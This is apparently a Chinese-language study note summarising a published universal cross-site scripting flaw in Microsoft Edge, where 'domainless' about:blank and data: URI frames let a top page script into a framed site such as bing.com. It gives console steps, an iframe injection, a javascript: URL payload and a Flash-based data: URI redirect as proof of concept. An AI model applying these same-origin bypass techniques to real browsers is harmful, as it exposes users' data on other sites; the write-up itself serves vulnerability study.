UXSS on Ms Edge

1. Domainless World

1.1 URL1

URL1: http://www.example.com/example1.html

页面中包含链接<a href="about:blank">about:blank</a>

Step1: 访问 http://www.example.com/example1.html, 打开console输入

// returns 'http://www.example.com/example1.html'
location.href

// returns 'www.example.com'
document.domain  

Step 2: 点击页面中链接, 打开console输入

// returns 'about:blank'
location.href

// returns 'www.example.com'
document.domain  

通过以上例子,我们可以看到www.good.com中load的<iframe></iframe>www.evil.com中load的<iframe></iframe>不同源,于是他们并不能读取对方。

1.2 URL2

URL2: http://www.example.com/example2.html

页面中包含<iframe></iframe>

// returns 'about:blank'
location.href

// returns ''
document.domain

可见document.domain返回的是"". 假如两个不同源的 domain 被同一个页面所引用,他们就有机会互相读取对方.

A domainless about:blank is capable of accessing any domained about:blank

详细解释见下.

1.3 URL3

Browser 访问about:blank,打开 console输入

document.body.innerHTML = '<iframe src="http://www.bing.com/images/search?q=microsoft+edge"></iframe>'

此时页面中将加载了 <iframe>.

我们满足了条件:

  1. A top domainless blank page
  2. Page framed bing.com
  3. bing.com contains another domainless blank

于是 top window 可以访问 bing.com 的内容.

window[0][0].location.href = "javascript:alert(parent.document.domain)";  

window[0], 获取到页面中的第一个 iframe.

window[0][0], 获取了第一个 iframe 中的iframe

Ref: Mozilla

2. POC

以下我们用data:URI代替about:blank, 他们的效果是一样的, 只是不同的 protocol.

不过

  1. iframe load data:uri, 它的 domain 是referrer 的 domain (跟1.1一样).
  2. 当我们尝试在 top window load data:uri, Edge 将拒绝, 并返回 error page.

One of Solutions: Flash

<iframe src="geturl.swf?target=_top&redir=data:,[html/script goes here]"></iframe>  

UXSS #1 Microsoft Edge - Universal Cross Site Scripting

整个 attack 所需要的

  1. domainless page
  2. domainless page loads the site via an iframe
  3. the site has another domainless iframe

UXSS #2 Microsoft Edge - Universal Cross Site Scripting

Ref

SOP bypass / UXSS on Microsoft Edge – Adventures in a Domainless World – Broken Browser